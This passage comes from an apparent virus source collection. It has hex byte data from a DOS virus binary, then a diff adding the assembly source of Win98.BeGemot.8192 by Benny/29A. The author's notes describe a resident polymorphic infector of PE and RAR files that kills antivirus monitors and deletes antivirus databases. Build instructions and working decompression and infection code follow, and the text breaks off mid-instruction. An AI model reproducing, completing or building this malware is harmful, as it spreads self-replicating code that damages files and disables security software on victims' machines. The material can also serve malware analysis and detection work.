0b8h,034h,012h,003h,0c1h,050h,068h,034h,012h,033h,0c0h,0cbh,053h,0bbh,034h +db 012h,0e4h,040h,032h,0d8h,0e4h,040h,002h,0f8h,0e4h,041h,02ah,0d8h,0e4h,041h +db 032h,0f8h,0e4h,042h,002h,0d8h,0e4h,042h,02ah,0f8h,02eh,089h,01eh,058h,001h +db 093h,05bh,0a8h,001h,0c3h,053h,052h,093h,0e8h,0d4h,0ffh,033h,0d2h,0f7h,0f3h +db 092h,05ah,05bh,0a8h,001h,0c3h,051h,0b1h,059h,0e8h,04eh,000h,02eh,088h,02eh +db 0afh,001h,041h,0e8h,045h,000h,02eh,088h,02eh,0b5h,001h,041h,0e8h,03ch,000h +db 02eh,088h,02eh,0bbh,001h,059h,0c3h,090h,051h,0b9h,059h,000h,0e8h,03ah,000h +db 041h,0b5h,012h,0e8h,034h,000h,041h,0b5h,012h,0e8h,02eh,000h,059h,0c3h,051h +db 0b1h,059h,02eh,08ah,02eh,0afh,001h,080h,0e5h,08fh,080h,0cdh,030h,0e8h,01bh +db 000h,041h,0b5h,033h,0e8h,015h,000h,041h,0b5h,033h,0e8h,00fh,000h,059h,0c3h +db 066h,050h,052h,0e8h,014h,000h,0ech,08ah,0e8h,05ah,066h,058h,0c3h,066h,050h +db 052h,0e8h,007h,000h,08ah,0c5h,0eeh,05ah,066h,058h,0c3h,066h,0b8h,000h,000h +db 000h,080h,08ah,0c1h,024h,0fch,0bah,0f8h,00ch,066h,0efh,080h,0c2h,004h,08ah +db 0c1h,024h,003h,002h,0d0h,0c3h,01eh,006h,00eh,01fh,0fah,0fch,0e8h,070h,0ffh +db 0a0h,0afh,001h,0feh,0c0h,074h,058h,0e8h,0b8h,000h,075h,053h,0e8h,053h,000h +db 074h,00bh,0e8h,074h,000h,074h,006h,0e8h,07ch,000h,074h,001h,0c3h,0e8h,086h +db 0ffh,0b8h,042h,000h,0e8h,03bh,0ffh,003h,0e8h,083h,0c5h,00fh,083h,0e5h,0f0h +db 0c1h,0edh,004h,08ch,0c0h,003h,0c5h,02dh,010h,000h,08eh,0c0h,0bfh,000h,001h +db 0c6h,006h,082h,008h,0eah,0c7h,006h,083h,008h,017h,003h,08ch,006h,085h,008h +db 08ch,006h,0b6h,005h,0beh,000h,001h,0b9h,007h,008h,0f3h,0a4h,0e8h,035h,003h +db 0e8h,032h,0ffh,033h,0c0h,007h,01fh,0c3h,068h,000h,0c0h,007h,033h,0ffh,032h +db 0d2h,026h,08ah,075h,002h,0d1h,0e2h,073h,002h,0b6h,080h,081h,0eah,069h,008h +db 033h,0c0h,08bh,0efh,0b9h,025h,004h,0f3h,0afh,074h,004h,03bh,0fah,076h,0f3h +db 0c3h,0b8h,030h,011h,0b7h,002h,0cdh,010h,08ch,0c0h,03dh,000h,0c0h,0c3h,068h +db 000h,0c0h,007h,033h,0ffh,0b9h,00eh,000h,032h,0c0h,0f3h,0aeh,075h,015h,0b9h +db 010h,000h,0f3h,0aeh,026h,081h,07dh,0ffh,07eh,081h,075h,008h,026h,081h,07dh +db 00dh,07eh,0ffh,074h,006h,081h,0ffh,000h,0f0h,076h,0dch,08bh,0efh,0c3h,0b4h +db 013h,0cdh,02fh,08ch,0c1h,02eh,089h,01eh,02bh,003h,02eh,08ch,006h,02dh,003h +db 0cdh,02fh,081h,0f9h,000h,0f0h,0c3h,03dh,081h,0f0h,074h,019h,03dh,000h,04bh +db 074h,00fh,080h,0fch,043h,074h,00ah,080h,0fch,03dh,074h,005h,0eah,000h,000h +db 000h,000h,0e8h,048h,000h,0ebh,0f6h,0b8h,08ch,092h,0cfh,03dh,081h,0f0h,074h +db 0f7h,0e8h,0a2h,0feh,0e8h,089h,002h,02eh,0a3h,05ch,005h,0e8h,082h,0feh,09ch +db 09ah,000h,000h,000h,000h,09ch,0e8h,08eh,0feh,02eh,080h,03eh,05dh,005h,002h +db 075h,00dh,026h,081h,03fh,04dh,05ah,075h,003h,0e8h,0e4h,001h,0e8h,012h,002h +db 0e8h,060h,002h,0e8h,05dh,0feh,09dh,0cah,002h,000h,09ch,02eh,0ffh,01eh,00ah +db 003h,0c3h,0e8h,065h,0feh,02eh,0c6h,006h,0abh,001h,0c3h,060h,01eh,006h,0fch +db 0b8h,000h,03dh,0e8h,0e6h,0ffh,00fh,082h,066h,001h,093h,0b4h,03fh,00eh,01fh +db 0bah,087h,008h,0b9h,040h,000h,0e8h,0d4h,0ffh,03bh,0c1h,00fh,085h,04dh,001h +db 0a1h,087h,008h,03dh,04dh,05ah,074h,007h,03dh,05ah,04dh,00fh,085h,03eh,001h +db 080h,03eh,099h,008h,069h,00fh,084h,035h,001h,0b8h,000h,042h,033h,0c9h,08bh +db 016h,08fh,008h,0c1h,0e2h,004h,0e8h,0a7h,0ffh,0b4h,03fh,0bah,0bdh,003h,0b9h +db 002h,000h,0e8h,09ch,0ffh,03bh,0c1h,00fh,085h,015h,001h,0b8h,034h,012h,040h +db 00fh,084h,00dh,001h,053h,0b8h,020h,012h,0cdh,02fh,026h,08ah,01dh,0b8h,016h +db 012h,0cdh,02fh,05bh,026h,08bh,055h,013h,026h,08bh,045h,011h,00ah,0c0h,00fh +db 084h,0f5h,000h,0b9h,0e8h,003h,0f7h,0f1h,00bh,0d2h,00fh,084h,0eah,000h,026h +db 0c7h,045h,002h,002h,000h,00eh,007h,0a1h,08bh,008h,048h,0b9h,000h,002h,0f7h +db 0e1h,003h,006h,089h,008h,083h,0d2h,000h,08bh,0f0h,08bh,0fah,0b8h,002h,042h +db 099h,033h,0c9h,0e8h,041h,0ffh,03bh,0c6h,00fh,085h,0bah,000h,03bh,0d7h,00fh +db 085h,0b4h,000h,005h,00fh,000h,083h,0d2h,000h,024h,0f0h,02bh,0f0h,029h,036h +db 089h,008h,050h,052h,0c1h,0e8h,004h,0c1h,0e2h,00ch,00bh,0c2h,02bh,006h,08fh +db 008h,02dh,010h,000h,08bh,0c8h,087h,00eh,09dh,008h,089h,00eh,04bh,001h,0b9h +db 003h,001h,087h,00eh,09bh,008h,089h,00eh,051h,001h,08bh,0c8h,087h,00eh,095h +db 008h,089h,00eh,041h,001h,0b9h,010h,00ah,087h,00eh,097h,008h,089h,00eh,048h +db 001h,081h,006h,091h,008h,0a1h,000h,083h,006h,08bh,008h,01eh,083h,006h,089h +db 008h,03bh,0c6h,006h,099h,008h,069h,0b8h,000h,042h,059h,05ah,0e8h,0cfh,0feh +db 0e8h,05dh,000h,0b4h,040h,0bah,000h,001h,0b9h,02bh,000h,0e8h,0c1h,0feh,0beh +db 02bh,001h,0bfh,0c7h,008h,0b9h,008h,000h,0ach,092h,0bdh,008h,000h,033h,0c0h +db 0d0h,0e2h,0d1h,0d0h,048h,0aah,04dh,075h,0f5h,0e2h,0eeh,0b4h,040h,0bah,0c7h +db 008h,0b9h,040h,000h,0e8h,09bh,0feh,081h,0feh,0adh,008h,072h,0d7h,0b8h,000h +db 042h,099h,033h,0c9h,0e8h,08ch,0feh,0b4h,040h,0bah,087h,008h,0b9h,040h,000h +db 0e8h,081h,0feh,0b4h,03eh,0e8h,07ch,0feh,007h,01fh,061h,02eh,0c6h,006h,0abh +db 001h,090h,0e8h,0c9h,0fch,0c3h,0bfh,084h,007h,0b0h,0c3h,0aah,0b9h,0fdh,000h +db 033h,0c0h,0f3h,0aah,0c7h,006h,007h,001h,0f6h,0d0h,0b0h,008h,0e6h,070h,0e4h +db 071h,03ch,00ah,075h,028h,0c7h,006h,007h,001h,0b0h,000h,0b8h,009h,000h,0e8h +db 070h,0fch,096h,06bh,0f6h,012h,081h,0c6h,0e2h,006h,0b9h,002h,000h,0adh,097h +db 081h,0c7h,084h,007h,0a4h,0adh,097h,081h,0c7h,084h,007h,066h,0a5h,0e2h,0efh +db 0c3h,060h,01eh,006h,033h,0f6h,08eh,0deh,0c4h,09ch,084h,000h,00bh,0dbh,074h +db 01eh,0b8h,081h,0f0h,0cdh,021h,03dh,08ch,092h,074h,014h,02eh,089h,01eh,00ah +db 003h,02eh,08ch,006h,00ch,003h,0c7h,084h,084h,000h,0f5h,002h,08ch,08ch,086h +db 000h,007h,01fh,061h,0c3h,060h,0bah,034h,012h,032h,0f6h,0c1h,0e2h,004h,08dh +db 07fh,00ch,0b9h,00ah,000h,032h,0c0h,0fch,0f3h,0aeh,075h,033h,0bdh,053h,006h +db 0b9h,00bh,000h,08bh,0f5h,08bh,0fbh,02eh,0ach,03ch,0b0h,074h,004h,03ch,080h +db 073h,005h,026h,038h,005h,075h,011h,047h,0e2h,0eeh,08bh,0fbh,0b0h,0e5h,0aah +db 033h,0c0h,0b9h,01fh,000h,0f3h,0aah,0ebh,009h,083h,0c5h,00bh,081h,0fdh,0e2h +db 006h,075h,0d0h,083h,0c3h,020h,04ah,075h,0bah,061h,0c3h,050h,056h,057h,01eh +db 006h,02eh,0c5h,036h,02bh,003h,068h,034h,012h,007h,0bfh,082h,008h,08ah,004h +db 026h,086h,005h,088h,004h,046h,047h,081h,0ffh,087h,008h,075h,0f1h,007h,01fh +db 05fh,05eh,058h,0c3h,00dh,00ah,00ah,05ah,030h,04dh,042h,069h,045h,060h,031h +db 036h,036h,038h,020h,076h,031h,02eh,030h,030h,020h,028h,063h,029h,020h,031h +db 039h,039h,037h,020h,05ah,030h,04dh,042h,069h,045h,00dh,00ah,054h,06eh,078h +db 020h,074h,06fh,020h,053h,02eh,053h,02eh,052h,02eh,00dh,00ah,053h,068h,061h +db 064h,06fh,077h,052h,041h,04dh,02fh,056h,069h,072h,074h,075h,061h,06ch,020h +db 050h,072h,06fh,063h,065h,073h,073h,020h,049h,06eh,066h,065h,063h,074h,06fh +db 072h,00dh,00ah,053h,068h,061h,064h,06fh,077h,052h,041h,04dh,020h,054h,065h +db 063h,068h,06eh,06fh,06ch,06fh,067h,079h,020h,028h,063h,029h,020h,031h,039h +db 039h,036h,02ch,039h,037h,020h,05ah,030h,04dh,042h,069h,045h,00dh,00ah,041h +db 044h,049h,04eh,046h,0f9h,0a3h,0a0h,0a2h,0adh,0aeh,041h,049h,044h,053h,0f9h +db 0afh,0aeh,0a3h,0a0h,0adh,0ech,041h,056h,050h,0f9h,0f9h,0e1h,0a0h,0aah,0e1h +db 0f9h,0f9h,057h,045h,042h,0f9h,0f9h,0e3h,0a9h,0aeh,0a1h,0aeh,0aah,044h,052h +db 057h,045h,042h,0f9h,0e2h,0aeh,0a6h,0a5h,0f9h,0f9h,0e5h,0e3h,0a9h,0adh,0efh +db 0f9h,0f9h,0b0h,0b0h,0b0h,0f9h,0a4h,0a5h,0e0h,0ech,0ach,0aeh,0f9h,043h,050h +db 050h,0adh,0a5h,0adh,0a0h,0a2h,0a8h,0a6h,0e3h,043h,020h,020h,053h,02dh,049h +db 043h,045h,0f9h,0e0h,0e3h,0abh,0a5h,0a7h,054h,044h,0f9h,0ach,0a0h,0e1h,0e2h +db 0f9h,0a4h,0a0h,0a9h,044h,045h,042h,055h,047h,0f9h,0f9h,0a3h,0e3h,0a4h,0f9h +db 057h,045h,042h,037h,030h,038h,030h,031h,0edh,0e2h,0aeh,043h,041h,0f9h,0ach +db 0aeh,0f1h,0f9h,0f9h,041h,056h,0f9h,015h,000h,01eh,051h,000h,0f1h,060h,01eh +db 009h,0bdh,000h,0a3h,0f7h,000h,0fah,005h,074h,00bh,006h,000h,0b4h,022h,000h +db 01eh,0f7h,0ebh,0f1h,0b3h,000h,080h,0dfh,000h,024h,016h,002h,03dh,032h,000h +db 01eh,05eh,000h,095h,025h,0b8h,001h,0c5h,000h,033h,0e1h,000h,0e9h,0c9h,004h +db 0b1h,03eh,000h,0fah,05ah,000h,00bh,04ch,013h,08bh,0cdh,000h,080h,0f9h,000h +db 07fh,0dfh,0e0h,059h,009h,000h,02eh,025h,000h,025h,0e5h,009h,0e8h,037h,000h +db 0e8h,063h,000h,0a4h,0f8h,002h,04bh,009h,000h,050h,025h,000h,025h,052h,084h +db 000h,043h,000h,080h,06fh,000h,04eh,09ah,044h,003h,01ah,000h,050h,046h,000h +db 0adh,0cbh,033h,0c0h,085h,000h,0a1h,0a1h,000h,01bh,0fdh,006h,0a3h,036h,000h +db 0b8h,052h,000h,05bh,0c6h,0e0h,050h,0b2h,000h,09ch,0deh,000h,04eh,0e3h,0c9h +db 08eh,007h,000h,08eh,023h,000h,083h,008h,0a2h,002h,0b3h,000h,091h,0dfh,000h +db 059h,0feh,015h,003h,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh +db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh +db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh +db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh +db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh +db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh +db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh +db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh +db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh +db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh +db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh +db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh +db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh +db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh +db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh +db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh +db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh +db 03fh,03fh,03fh + + + + + diff --git a/LegacyWindows/Win98.BeGemot.8192.asm b/LegacyWindows/Win98.BeGemot.8192.asm new file mode 100644 index 00000000..ac58a1ba --- /dev/null +++ b/LegacyWindows/Win98.BeGemot.8192.asm @@ -0,0 +1,6290 @@ +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[bg.asm]ΔΔΔ +; άΫΫΫΫΫά άΫΫΫΫΫά άΫΫΫΫΫά +; ΫΫΫ ΫΫΫ ΫΫΫ ΫΫΫ ΫΫΫ ΫΫΫ +; Win98.BeGemot.8192 άάάΫΫί ίΫΫΫΫΫΫ ΫΫΫΫΫΫΫ +; by Benny/29A ΫΫΫάάάά άάάάΫΫΫ ΫΫΫ ΫΫΫ +; ΫΫΫΫΫΫΫ ΫΫΫΫΫΫί ΫΫΫ ΫΫΫ +; +; +; +;Author's description +;ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ +; +;I'm very proud to introduce my best virus. I wanted to show ya in this virus, +;what everything I can. There aren't all my favourite techniques (such as +;Memory Mapped Files), nevertheless I think this is a good virus. I tried to +;optimize it as much as I could, but there is still for sure something, that +;could be optimized much more than it is. But that's a life... I call it +;Win98 infector coz I tested it only on my Win98 machine. It should work on +;Win95 also, but devil never sleeps. I'm not sure, so that's why I call it +;Win98. Hmmmm, okay, that was the foreword, and now here is that promised +;description... +; +;This virus is the Win98 resident/semi-stealth/compressed/slow poly/Pentium+/ +;multithreaded/Ring3/Ring0/PE/RAR/fast infector. It also deletes some AV +;databases/killin some AV monitors/uses VxDCall0 backdoor to call DOS +;services/usin' undocumented opcode and can infect EXE/SCR/RAR/SFX/CPL/DAT/BAK +;files. It appends to last section in PE files/inserts Win9X dropper into RAR +;files and enlarge files with constant size, that's 8192 bytes. (I decided, +;this is perfect number, noone will mind.) It uses BPE32 (Benny's Polymorphic +;Engine for Win32, published in DDT#1) and BCE32 (published in 29A#4) engines. +;BPE32 has perfect SEH trick (it fools many AVs) and BCE32 saves about 1,9kB +;of virus code (!!!). Combination of these engines is my virus, that is (in +;this time - summer 1999) undetectable by any heuristic methods (only first +;generation of virus is detectable). I tested it with DrWeb (IMO the best AV), +;NODICE32 (IMO the second best), AVP (perfect scanner, but...) and many otherz. +; +;But that's not all. If virus will get resident in memory, virus will jump to +;Ring0, it create VMM thread (system thread) which will patch Ring3 code and so +;allow Ring3 code execution and leave Ring0. Ring3 code will run on, while +;thread will run in memory on the background. Thread will allocate 1kB of +;shared memory (memory accesible to all processes) and slowly check for +;changes in it. If any change will appear, thread will do property action, +;dependin' on change. Why? I coded next to BG communication console, called +;BGVCC (BeGemot Virus Communication Console), so if virus is resident in +;memory, u can easily communicate with virus thread by it. Look at BGVCC +;source and u will see, how can u easily communicate with/control virus. +;This is the first virus with communication interface. +; +;It also uses many trix to fool AVs, e.g. SEH, spec. thread, RETF etc... +; +; +; +;Vocabulary (these words r often used) +;ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ +; +; BG - Win98.BeGemot, this virus. +; BGVCC - BeGemot Virus Communication Console, utility included +; with this virus for controlin' BG and communicatin' +; with it. +; BGCB - BeGemot Control Block. If u watch any system manual, +; u will see THCB (Thread Control Block), VMCB (Virtual +; Machine Control Block), etc. I decided, BGCB is rite +; abbreviation for callin' this, really system block. +; It holds all items, that r used to communicate with +; BG / BG thread. +; BG thread - VMM thread, which manages BGCB. +; +; +; +;What will happen on execution ? +;ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ- +; +;Virus will: +;1) Decrypt it's body by polymorphic decryptor +;2) Decompress virus body +;3) Check, if it is already resident. +;4) Try to find VxDCall0 API +;5) Install virus to memory +;6) Kill some AV monitors (AVP, NODICE) +;7) Jump to host + +;Virus in memory will: +;1) Check requested service +; - size stealth stage (stealth and quit) +; - infection stage (continue) +;2) Check filename +;3) Jump to Ring0 (by modifyin' IDT) +;4) Create new thread +;5) Exit from Ring0 +;6) Infect file +;7) Delete some AV files +;8) Jump to previous handler +; +; +; +;AVP's description +;ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ +; +;Benny's notes: This is the worst description I have ever seen for so large +;virus as BeGemot is. U can see my notes in [* *]. Well, here is it: +; +; +;Win95.Begemot [* It's not fully compatible with Win95, but with Win98 only *] +; +;This is a dangerous [* why dangerous?! *] memory resident parasitic +;polymorphic Windows virus about 8Kb of length. The virus installs itself into +;the Windows memory [* shared memory! *] and infects PE EXE files [* and RAR +;files *] that are accessed. The virus uses system calls that are valid under +;Win95/98 only [* blah, some calls r valid only in Win98 *] and can't spread +;under NT. The virus also has bugs and often halts the system when run [* which +;one?! *]. The virus uses several unusual routines in its code: keeps its code +;encrypted and compressed in affected files (while installing it decompresses +;it); infects RAR archives (adds infected BEER.EXE file [* dropper! *] to +;archives); runs a thread that can communicate with external module [* u mean +;BGVCC? *] which controls the virus (for example, enables/disables infection +;routine) [* I thought u will talk much more about BGVCC *]. +; +;The virus also looks for "AVP Monitor" and "Amon Antivirus Monitor" windows +;and closes them; deletes several anti-virus data files; depending on the +;system timer displays a message [* u forgot it or why u can't write here +;what message it is?! *]. +; +;The virus also contains the "copyright" text: +; +; Virus Win98.BeGemot by Benny/29A +; +;[* That's all about my 8kB virus, Kasperpig?! *] +; +; +; +;Payload +;ΔΔΔΔΔΔΔΔ +; +;Every execution virus test tick counter for 22h value. If matches, virus will +;display MessageBox. +; +; +; +;Greetz +;ΔΔΔΔΔΔΔ +; +; Darkman/29A.... U said Amsterdam? Hmmm, prepare yourself for bath +; in the river :-)). +; Super/29A...... w0rkoholic! +; GriYo/29A...... So here is it with threads. HPS r0x, kewl tutes... +; Thanx for all... +; Billy_Bel...... DDT#1 r0x0r, no lie! Maybe, ehrm... VX and politix, +; that ain't rite combination. +; mgl............ .CZ/.SK RULEZ !!! +; IntelServ...... Tell me, how is that feelin', when u know, that +; everybody hates u! +; Kaspersky...... That's all u can?! +; +; +; +;How to build +;ΔΔΔΔΔΔΔΔΔΔΔΔΔ +; +; tasm32 -ml -q -m9 bg.asm +; tlink32 -Tpe -c -x -aa -r bg.obj,,, import32 +; pewrsec.com bg.exe +; +; +; +;For who is this dedicated? +;ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ +; +;I dunno yet. But I can say, for who ain't this virus dedicated. It ain't for +;ppl such as IntelServ, for jerx, for stupid ppl, for intolerate ppl, for +;any fanatic ppl (fascists, capitalistix and communists), for my teachers at +;school, for those, who can't use brain, for braggers. This virus is dedicated +;for SMART ppl, whoever is it, whatever is color of their skin, wherever is +;livin'. Important isn't GRADE, important is what u have in your HEAD! +; +; +; +;(c) 1999 Benny/29A. Enjoy! + + + +.586p ;why not ;) +.model flat ;FLAT model + +include mz.inc ;include some important +include pe.inc ;include-filez +include win32api.inc +include useful.inc + + +BG_IDLE equ 0 ;some equates +BG_INFECTINEXEC equ 1 ;used +BG_INFECTINRAR equ 2 ;by communication +BG_STEALTHIN equ 3 ;thread + +PC_WRITEABLE equ 00020000h ;equates used +PC_USER equ 00040000h ;in installation +PR_SHARED equ 80060000h ;stage +PC_PRESENT equ 80000000h +PC_FIXED equ 00000008h +PD_ZEROINIT equ 00000001h + +mem_size equ (virtual_end-Start+0fffh)/1000h ;size of virus in + ;memory (pages) + +extrn ExitProcess:PROC ;used in first + ;generation only + +.data ;data section +Start: ;Start of virus + pushad ;save all regs + call gd ;get delta offset +gd: pop ebp ;... + lea esi, [ebp + _compressed_ - gd] ;where is compressed virus + ;stored + lea edi, [ebp + decompressed - gd] ;where will be virus + ;decompressed + mov ecx, 12345678h ;size of compressed virus +c_size = dword ptr $ - 4 + + +;Decompression routine from BCE32 starts here. + pushad ;save all regs + xor eax, eax ;EAX = 0 + xor ebp, ebp ;EBP = 0 + cdq ;EDX = 0 + lodsb ;load decryption key + push eax ;store it + lodsb ;load first byte + push 8 ;store 8 + push edx ;store 0 +d_bits: push ecx ;store ECX + test al, 80h ;test for 1 + jne db0 + test al, 0c0h ;test for 00 + je db1 + test al, 0a0h ;test for 010 + je db2 + mov cl, 6 ;its 011 + jmp tb2 +testb: test bl, 1 ;is it 1 ? + jne p1 + push 0 ;no, store 0 +_tb_: mov eax, ebp ;load byte to EAX + or al, [esp] ;set bit + ror al, 1 ;and make space for next one + call cbit + ret +p1: push 1 ;store 1 + jmp _tb_ ;and continue +db0: xor cl, cl ;CL = 0 + mov byte ptr [esp+4], 1 ;store 1 +testbits: + push eax ;store it + push ebx ;... + mov ebx, [esp+20] ;load parameter + ror bl, cl ;shift to next bit group + call testb ;test bit + ror bl, 1 ;next bit + call testb ;test it + pop ebx ;restore regs + pop eax + mov ecx, [esp+4] ;load parameter +bcopy: cmp byte ptr [esp+8], 8 ;8. bit ? + jne dnlb ;nope, continue + mov ebx, eax ;load next byte + lodsb + xchg eax, ebx + mov byte ptr [esp+8], 0 ;and nulify parameter + dec dword ptr [esp] ;decrement parameter +dnlb: shl al, 1 ;next bit + test bl, 80h ;is it 1 ? + je nb ;no, continue + or al, 1 ;yeah, set bit +nb: rol bl, 1 ;next bit + inc byte ptr [esp+8] ;increment parameter + loop bcopy ;and align next bits + pop ecx ;restore ECX + inc ecx ;test flags + dec ecx ;... + jns d_bits ;if not sign, jump + pop eax ;delete pushed parameters + pop eax ;... + pop eax ;... + popad ;restore all regs + jmp decompressed +cbit: inc edx ;increment counter + cmp dl, 8 ;byte full ? + jne n_byte ;no, continue + stosb ;yeah, store byte + xor eax, eax ;and prepare next one + cdq ;... +n_byte: mov ebp, eax ;save back byte + ret Pshd ;quit from procedure with one parameter on stack +db1: mov cl, 2 ;2. bit in decryption key + mov [esp+4], cl ;2 bit wide + jmp testbits ;test bits +db2: mov cl, 4 ;4. bit +tb2: mov byte ptr [esp+4], 3 ;3 bit wide + jmp testbits ;test bits + +_compressed_ db 1a00h dup (?) ;here is stored compressed + ;virus body +decompressed: db virus_end-compressed dup (?) ;here decompressed + db size_unint dup (?) ;and here all uninitialized + ;variables +virtual_end: ;end of virus in memory +ends + +.code ;code section +first_gen: ;first generation code + mov esi, offset compressed ;source + mov edi, offset _compressed_ ;destination + mov ecx, virus_end-compressed+2 ;size + mov ebx, offset workspace1 ;workspace1 + mov edx, offset workspace2 ;workspace2 + call BCE32_Compress ;Compress virus body! + dec eax + mov [c_size], eax ;save compressed virus size + jmp Start ;jmp to virus + + +;Compression routine from BCE32 starts here. This is used only in first gen. + +BCE32_Compress Proc + pushad ;save all regs +;stage 1 + pushad ;and again +create_table: + push ecx ;save for l8r usage + push 4 + pop ecx ;ECX = 4 + lodsb ;load byte to AL +l_table:push eax ;save it + xor edx, edx ;EDX = 0 + and al, 3 ;this stuff will separate and test + je st_end ;bit groups + cmp al, 2 + je st2 + cmp al, 3 + je st3 +st1: inc edx ;01 + jmp st_end +st2: inc edx ;10 + inc edx + jmp st_end +st3: mov dl, 3 ;11 +st_end: inc dword ptr [ebx+4*edx] ;increment count in table + pop eax + ror al, 2 ;next bit group + loop l_table + pop ecx ;restore number of bytes + loop create_table ;next byte + + push 4 ;this will check for same numbers + pop ecx ;ECX = 4 +re_t: cdq ;EDX = 0 +t_loop: mov eax, [ebx+4*edx] ;load DWORD + inc dword ptr [ebx+4*edx] ;increment it + cmp eax, [ebx] ;test for same numbers + je _inc_ ;... + cmp eax, [ebx+4] ;... + je _inc_ ;... + cmp eax, [ebx+8] ;... + je _inc_ ;... + cmp eax, [ebx+12] ;... + jne ninc_ ;... +_inc_: inc dword ptr [ebx+4*edx] ;same, increment it + inc ecx ;increment counter (check it in next turn) +ninc_: cmp dl, 3 ;table overflow ? + je re_t ;yeah, once again + inc edx ;increment offset to table + loop t_loop ;loop + popad ;restore regs + +;stage 2 + pushad ;save all regs + mov esi, ebx ;get pointer to table + push 3 + pop ebx ;EBX = 3 + mov ecx, ebx ;ECX = 3 +rep_sort: ;bubble sort = the biggest value will + ;always "bubble up", so we know number + ;steps + push ecx ;save it + mov ecx, ebx ;set pointerz + mov edi, edx ;... + push edx ;save it + lodsd ;load DWORD (count) + mov edx, eax ;save it +sort: lodsd ;load next + cmp eax, edx ;is it bigger + jb noswap ;no, store it + xchg eax, edx ;yeah, swap DWORDs +noswap: stosd ;store it + loop sort ;next DWORD + mov eax, edx ;biggest in EDX, swap it + stosd ;and store + lea esi, [edi-16] ;get back pointer + pop edx ;restore regs + pop ecx + loop rep_sort ;and try next DWORD + popad +;stage 3 + pushad ;save all regs + xor eax, eax ;EAX = 0 + push eax ;save it + push 4 + pop ecx ;ECX = 4 +n_search: + push edx ;save regs + push ecx + lea esi, [ebx+4*eax] ;get pointer to table + push eax ;store reg + lodsd ;load DWORD to EAX + push 3 + pop ecx ;ECX = 3 + mov edi, ecx ;set pointerz +search: mov esi, edx + push eax ;save it + lodsd ;load next + mov ebp, eax + pop eax + cmp eax, ebp ;end ? + je end_search + dec edi ;next search + sub edx, -4 + loop search +end_search: + pop eax ;and next step + inc eax + pop ecx + pop edx + add [esp], edi + rol byte ptr [esp], 2 + loop n_search + pop [esp.Pushad_ebx] ;restore all + popad ;... +;stage 4 + xor ebp, ebp ;EBP = 0 + xor edx, edx ;EDX = 0 + mov [edi], bl ;store decryption key + inc edi ;increment pointer +next_byte: + xor eax, eax ;EAX = 0 + push ecx + lodsb ;load next byte + push 4 + pop ecx ;ECX = 4 +next_bits: + push ecx ;store regs + push eax + and al, 3 ;separate bit group + push ebx ;compare with next group + and bl, 3 + cmp al, bl + pop ebx + je cb0 + push ebx ;compare with next group + ror bl, 2 + and bl, 3 + cmp al, bl + pop ebx + je cb1 + push ebx ;compare with next group + ror bl, 4 + and bl, 3 + cmp al, bl + pop ebx + je cb2 + push 0 ;store bit 0 + call copy_bit + push 1 ;store bit 1 + call copy_bit +cb0: push 1 ;store bit 1 +end_cb1:call copy_bit + pop eax + pop ecx + ror al, 2 + loop next_bits ;next bit + pop ecx + loop next_byte ;next byte + mov eax, edi ;save new size + sub eax, [esp.Pushad_edi] ;... + mov [esp.Pushad_eax], eax ;... + popad ;restore all regs + cmp eax, ecx ;test for negative compression + jb c_ok ;positive compression + stc ;clear flag + ret ;and quit +c_ok: clc ;negative compression, set flag + ret ;and quit +cb1: push 0 ;store bit 0 +end_cb2:call copy_bit + push 0 ;store bit 0 + jmp end_cb1 +cb2: push 0 ;store bit 0 + call copy_bit + push 1 ;store bit 1 + jmp end_cb2 +copy_bit: + mov eax, ebp ;get byte from EBP + shl al, 1 ;make space for next bit + or al, [esp+4] ;set bit + jmp cbit +BCE32_Compress EndP ;end of compression procedure + + +compressed: ;compressed body starts here + @SEH_SetupFrame ;setup SEH frame + db 0d6h ;undoc. opcode SALC + ;used only to fool AVs + call gdelta ;calculate delta offset +gdelta: pop ebp + mov ebx, 0bff70000h ;base address of K32 (95/98) + mov eax, [ebx.MZ_lfanew] ;get ptr to PE + add eax, ebx ;make 